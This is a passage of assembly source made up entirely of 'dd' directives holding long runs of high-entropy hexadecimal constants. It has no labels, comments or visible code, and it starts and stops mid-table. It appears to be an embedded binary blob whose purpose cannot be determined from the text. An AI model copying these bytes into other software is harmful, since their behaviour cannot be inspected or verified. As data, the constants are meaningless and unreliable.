0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h dd 11F4ADD7h, 803908C4h dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h dd 7D9A5FCh, 6EC01609h dd 71E8F1E0h, 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h dd 0C3312Bh, 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h dd 530075DBh, 0CC88FF17h dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h dd 2660660Bh, 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h dd 